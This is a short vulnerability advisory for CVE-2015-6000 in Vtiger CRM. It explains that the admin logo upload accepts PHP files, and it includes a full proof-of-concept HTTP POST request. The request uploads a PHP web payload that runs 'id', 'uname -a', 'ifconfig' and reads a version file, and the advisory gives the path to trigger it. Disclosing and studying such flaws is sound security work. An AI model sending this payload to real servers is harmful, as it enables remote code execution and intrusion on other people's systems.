  === Description ===
  
  Vtiger CRM's administration interface allows for the upload of a company
  logo. Instead of uploading an image, an attacker may choose to upload a
  file containing PHP code and run this code by accessing the resulting
  PHP file.
  
  Detailed description:
  http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html
  
  
  === PoC ===
  
  Through a specially crafted HTTP-POST request, a PHP file is stored on
  the server hosting the Vtiger CRM software:
  
  POST /index.php HTTP/1.1
  Host: [...]
  Cookie: [...]
  Connection: keep-alive
  Content-Type: multipart/form-data; boundary=---------------------------51732462825208
  Content-Length: 2040
  
  -----------------------------51732462825208
  Content-Disposition: form-data; name="__vtrftk"
  
  [...]
  -----------------------------51732462825208
  Content-Disposition: form-data; name="logo"; filename="2.php"
  Content-Type: image/jpeg
  
  <? system('id; uname -a; /sbin/ifconfig -a'); system('cat ../../vtigerversion.php'); ?>
  -----------------------------51732462825208
  Content-Disposition: form-data; name="address"
  [...]
  
  
  The resulting PHP file can then be accessed at
  
  [Vtiger URL]/test/logo/2.php
